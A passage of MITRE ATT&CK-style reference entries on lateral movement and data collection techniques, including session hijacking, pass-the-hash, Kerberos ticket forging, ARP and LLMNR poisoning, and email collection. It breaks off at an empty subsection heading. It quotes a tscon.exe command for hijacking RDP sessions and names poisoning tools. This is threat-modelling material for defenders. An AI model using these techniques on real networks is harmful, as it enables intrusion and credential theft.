Adversaries may use internal spearphishing to gain access to additional information or exploit other users within the same organization after they already have access to accounts or systems within the environment. Internal spearphishing is multi-staged campaign where an email account is owned either by controlling the user's device with previously installed malware or by compromising the account credentials of the user. Adversaries attempt to take advantage of a trusted internal account to increase the likelihood of tricking the target into falling for the phish attempt.

Adversaries may leverage Spearphishing Attachment or Spearphishing Link as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through Input Capture on sites that mimic email login interfaces.

There have been notable incidents where internal spearphishing has been used. The Eye Pyramid campaign used phishing emails with malicious attachments for lateral movement between victims, compromising nearly 18,000 email accounts in the process. The Syrian Electronic Army (SEA) compromised email accounts at the Financial Times (FT) to steal additional account credentials. Once

FT learned of the campaign and began warning employees of the threat, the SEA sent phishing emails mimicking the Financial Times IT department and were able to compromise even more users.

T1570 - Lateral Tool Transfer

Adversaries may transfer tools or other files between systems in a compromised environment. Once brought into the victim environment (i.e. Ingress Tool Transfer) files may then be copied from one system to another to stage adversary tools or other files over the course of an operation. Adversaries may copy files between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over SMB/Windows Admin Shares to connected network shares or with authenticated connections via Remote Desktop Protocol.

Files can also be transferred using native or otherwise present tools on the victim system, such as `scp`, `rsync`, `curl`, `sftp`, and `ftp`.

T1563 - Remote Service Session Hijacking

Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service.

Adversaries may commandeer these sessions to carry out actions on remote systems. Remote Service Session Hijacking differs from use of Remote Services because it hijacks an existing session rather than creating a new session using Valid Accounts.

.001 - SSH Hijacking

Adversaries may hijack a legitimate user's SSH session to move laterally within an environment. Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.

In order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary can obtain root access, then hijacking SSH sessions is likely trivial.

SSH Hijacking differs from use of SSH because it hijacks an existing SSH session rather than creating a new session using Valid Accounts.

.002 - RDP Hijacking

Adversaries may hijack a legitimate user’s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).

Adversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\windows\system32\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user. This can be done remotely or locally and with active or disconnected sessions. It can also lead to Remote System Discovery and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.

T1021 - Remote Services

Adversaries may use Valid Accounts to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.

In an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).

Legitimate applications (such as Software Deployment Tools and other administrative programs) may utilize Remote Services to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including VNC to send the screen and control buffers and SSH for secure file transfer. Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.

.001 - Remote Desktop Protocol

Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.

Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).

Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the Accessibility Features or Terminal Services DLL for Persistence.

.002 - SMB/Windows Admin Shares

Adversaries may use Valid Accounts to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.

SMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.

Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include C$, ADMIN$, and IPC$. Adversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over SMB, to interact with systems using remote procedure calls (RPCs), transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are Scheduled Task/Job, Service Execution, and Windows Management Instrumentation. Adversaries can also use

NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels.

.003 - Distributed Component Object Model

Adversaries may use Valid Accounts to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.

The Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.

Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. By default, only Administrators may remotely activate and launch COM objects through DCOM.

Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications as well as other Windows objects that contain insecure methods. DCOM can also execute macros in existing documents and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application, bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with Windows Management Instrumentation.

.004 – SSH

Adversaries may use Valid Accounts to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.

SSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user’s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user.

.005 – VNC

Adversaries may use Valid Accounts to remotely control machines using Virtual Network Computing (VNC). VNC is a platform-independent desktop sharing system that uses the RFB ("remote framebuffer") protocol to enable users to remotely control another computer’s display by relaying the screen, mouse, and keyboard inputs over the network.

VNC differs from Remote Desktop Protocol as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.

Adversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.

.006 - Windows Remote Management
Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.

WinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). It may be called with the `winrm` command or by any number of programs such as PowerShell. WinRM can be used as a method of remotely interacting with Windows Management Instrumentation.

T1091 - Replication Through Removable Media
Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.

Mobile devices may also be used to infect PCs with malware if connected via USB. This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables. For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).

T1072 - Software Deployment Tools
Adversaries may gain access to and use third-party software suites installed within an enterprise network, such as administration, monitoring, and deployment systems, to move laterally through the network. Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, HBSS, Altiris, etc.).

Access to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.

The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it's intended purpose.

T1080 - Taint Shared Content
Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.

A directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses Shortcut Modification of directory .LNK files that use Masquerading to look like the real directories, which are hidden through

Hidden Files and Directories. The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts.

Adversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.

T1550 - Use Alternate Authentication Material

Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls.

Authentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process.

Caching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system—either in memory or on disk—it may be at risk of being stolen through Credential Access techniques. By stealing alternate authentication material, adversaries can bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.

.001 - Application Access Token

Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.

Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud and container-based applications and software-as-a-service (SaaS).

In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account. The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured – for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.

OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.

For example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a "refresh" token enabling background access is awarded. With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.

Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim's primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.

.002 - Pass the Hash

Adversaries may "pass the hash" using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.

When performing PtH, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.

Adversaries may also use stolen password hashes to "overpass the hash." Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform Pass the Ticket attacks.

.003 - Pass the Ticket

Adversaries may "pass the ticket" using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.

When preforming PtT, valid Kerberos tickets for Valid Accounts are captured by OS Credential Dumping. A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.

A Silver Ticket can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).

A Golden Ticket can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.

Adversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, "overpassing the hash" involves using a NTLM password hash to authenticate as a user (i.e. Pass the Hash) while also using the password hash to create a valid Kerberos ticket.

.004 - Web Session Cookie

Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.

Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through Steal Web Session Cookie or Web Cookies, the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.

There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.

Collection

The adversary is trying to gather data of interest to their goal.

Collection consists of techniques adversaries may use to gather information and the sources information is collected from that are relevant to following through on the adversary's objectives. Frequently, the next goal after collecting data is to steal (exfiltrate) the data. Common target sources include various drive types, browsers, audio, video, and email. Common collection methods include capturing screenshots and keyboard input.

Techniques

Techniques represent 'how' an adversary achieves a tactical goal by performing an action. For example, an adversary may dump credentials to achieve credential access.

T1557 - Adversary-in-the-Middle

Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as Network Sniffing or Transmitted Data Manipulation. By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.

For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware. Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials and session cookies. Downgrade Attacks can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.

Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in Transmitted Data Manipulation. Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to Impair Defenses and/or in support of a Network Denial of Service.

.001 - LLMNR/NBT-NS Poisoning and SMB Relay

By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials.

Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name.

Adversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through Network Sniffing and crack the hashes offline through Brute Force to obtain the plaintext passwords.

In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv1/v2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. Additionally, adversaries may encapsulate the NTLMv1/v2 hashes into various protocols, such as LDAP, SMB, MSSQL and HTTP, to expand and use multiple services with the valid NTLM response.

Several tools may be used to poison name services within local networks such as NBNSpoof, Metasploit, and Responder.

.002 - ARP Cache Poisoning

Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as Network Sniffing or Transmitted Data Manipulation.

The ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address. Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache.

An adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.

The ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.

Adversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.

.003 - DHCP Spoofing

Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as Network Sniffing or Transmitted Data Manipulation.

DHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients. The typical server-client interaction is as follows:

1. The client broadcasts a DISCOVER message.
2. The server responds with an OFFER message, which includes an available network address.

3. The client broadcasts a REQUEST message, which includes the network address offered.
4. The server acknowledges with an ACK message and the client receives the network configuration parameters.

Adversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers. Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.

DHCPv6 clients can receive network configuration information without being assigned an IP address by sending a INFORMATION-REQUEST (code 11) message to the All_DHCP_Relay_Agents_and_Servers multicast address. Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations.

Rather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e, Service Exhaustion Flood) by generating many broadcast DISCOVER messages to exhaust a network's DHCP allocation pool.

T1560 - Archive Collected Data

An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.

Both compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method.

.001 - Archive via Utility

Adversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport.

Adversaries may abuse various utilities to compress or encrypt data before exfiltration. Some third party utilities may be preinstalled, such as tar on Linux and macOS or zip on Windows systems. On Windows, diantz or makecab may be used to package collected files into a cabinet (.cab) file. diantz may also be used to download and compress files from remote locations (i.e. Remote Data Staging). Additionally, xcopy on Windows can copy files and directories with a variety of options.

Adversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities.

.002 - Archive via Library

An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including Python rarfile, libzip, and zlib. Most libraries include functionality to encrypt and/or compress data.

Some archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. Note that the libraries are different from the utilities. The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism.

.003 - Archive via Custom Method
An adversary may compress or encrypt data that is collected prior to exfiltration using a custom method. Adversaries may choose to use custom archival methods, such as encryption with XOR or stream ciphers implemented with no external library or utility references. Custom implementations of well-known compression algorithms have also been used.

T1123 - Audio Capture
An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.

Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.

T1119 - Automated Collection
Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a Command and Scripting Interpreter to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. In cloud-based environments, adversaries may also use cloud APIs, command line interfaces, or extract, transform, and load (ETL) services to automatically collect data. This functionality could also be built into remote access tools.

This technique may incorporate use of other techniques such as File and Directory Discovery and Lateral Tool Transfer to identify and move files, as well as Cloud Service Dashboard and Cloud Storage Object Discovery to identify resources in cloud environments.

T1185 - Browser Session Hijacking
Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.

A specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet. Executing browser-based behaviors such as pivoting may require specific process permissions, such as `SeDebugPrivilege` and/or high-integrity/administrator rights.

Another example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as Sharepoint or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.

T1115 - Clipboard Data
Adversaries may collect data stored in the clipboard from users copying information within or between applications.

In Windows, Applications can access clipboard data by using the Windows API. OSX provides a native command, `pbpaste`, to grab clipboard contents.

T1530 - Data from Cloud Storage
Adversaries may access data from improperly secured cloud storage.

Many cloud service providers offer solutions for online data object storage such as Amazon S3, Azure Storage, and Google Cloud Storage. These solutions differ from other storage solutions (such as SQL or Elasticsearch) in that there is no overarching application. Data from these solutions can be retrieved directly using the cloud provider's APIs.

In other cases, SaaS application providers such as Slack, Confluence, and Salesforce also provide cloud storage solutions as a peripheral use case of their platform. These cloud objects can be extracted directly from their associated application.

Adversaries may collect sensitive data from these cloud storage solutions. Providers typically offer security guides to help end users configure systems, though misconfigurations are a common problem. There have been numerous incidents where cloud storage has been improperly secured, typically by unintentionally allowing public access to unauthenticated users, overly-broad access by all users, or even access for any anonymous person outside the control of the Identity Access Management system without even needing basic user permissions.

This open access may expose various types of sensitive data, such as credit cards, personally identifiable information, or medical records.

Adversaries may also obtain then abuse leaked credentials from source repositories, logs, or other means as a way to gain access to cloud storage objects.

T1602 - Data from Configuration Repository
Adversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices.

Adversaries may target these repositories in order to collect large quantities of sensitive system administration data. Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.

.001 - SNMP (MIB Dump)
Adversaries may target the Management Information Base (MIB) to collect and/or mine valuable information in a network managed using Simple Network Management Protocol (SNMP).

The MIB is a configuration repository that stores variable information accessible via SNMP in the form of object identifiers (OID). Each OID identifies a variable that can be read or set and permits active management tasks, such as configuration changes, through remote modification of these variables. SNMP can give administrators great insight in their systems, such as, system information, description of hardware, physical location, and software packages. The MIB may also contain device operational information, including running configuration, routing table, and interface details.

Adversaries may use SNMP queries to collect MIB content directly from SNMP-managed devices in order to collect network information that allows the adversary to build network maps and facilitate future targeted exploitation.

.002 - Network Device Configuration Dump

Adversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use.

Adversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files. These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis.

T1213 - Data from Information Repositories

Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization.

The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:

- Policies, procedures, and standards
- Physical / logical network diagrams
- System architecture diagrams
- Technical system documentation
- Testing / development credentials
- Work / project schedules
- Source code snippets
- Links to network shares and other internal resources

Information stored in a repository may vary based on the specific instance or environment. Specific common information repositories include web-based platforms such as SharePoint and Confluence, specific services such as Code Repositories, IaaS databases, enterprise databases, and other storage infrastructure such as SQL Server.

.001 – Confluence

Adversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:

- Policies, procedures, and standards
- Physical / logical network diagrams
- System architecture diagrams
- Technical system documentation
- Testing / development credentials
- Work / project schedules
- Source code snippets

- Links to network shares and other internal resources

.002 – SharePoint
Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:

- Policies, procedures, and standards
- Physical / logical network diagrams
- System architecture diagrams
- Technical system documentation
- Testing / development credentials
- Work / project schedules
- Source code snippets
- Links to network shares and other internal resources

.003 - Code Repositories
Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as GitHub, GitLab, SourceForge, and Bitbucket. Users typically interact with code repositories through a web application or command-line utilities such as git.

Once adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or credentials contained within software's source code. Having access to software's source code may allow adversaries to develop Exploits, while credentials may provide access to additional resources using Valid Accounts.

Note: This is distinct from Code Repositories, which focuses on conducting Reconnaissance via public code repositories.

T1005 - Data from Local System
Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.

Adversaries may do this using a Command and Scripting Interpreter, such as cmd as well as a Network Device CLI, which have functionality to interact with the file system to gather information. Adversaries may also use Automated Collection on the local system.

T1039 - Data from Network Shared Drive
Adversaries may search network shares on computers they have compromised to find files of interest. Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration. Interactive command shells may be in use, and common functionality within cmd may be used to gather information.

T1025 - Data from Removable Media
Adversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within cmd may be used to gather information.

Some adversaries may also use Automated Collection on removable media.

T1074 - Data Staged

Adversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Archive Collected Data. Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.

In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may Create Cloud Instance and stage data in that instance.

Adversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection.

.001 - Local Data Staging

Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Archive Collected Data. Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.

Adversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.

.002 - Remote Data Staging

Adversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Archive Collected Data. Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.

In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may Create Cloud Instance and stage data in that instance.

By staging data on one system prior to Exfiltration, adversaries can minimize the number of connections made to their C2 server and better evade detection.

T1114 - Email Collection

Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.

.001 - Local Email Collection

Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user's local system, such as Outlook storage or cache files.

Outlook stores data locally in offline data files with an extension of .ost. Outlook 2010 and later supports .ost file sizes up to 50GB, while earlier versions of Outlook support up to 20GB.[1] IMAP accounts in Outlook 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files. Both types of Outlook data files are typically stored in `C:\Users\<username>\Documents\Outlook Files` or `C:\Users\<username>\AppData\Local\Microsoft\Outlook`.

.002 - Remote Email Collection

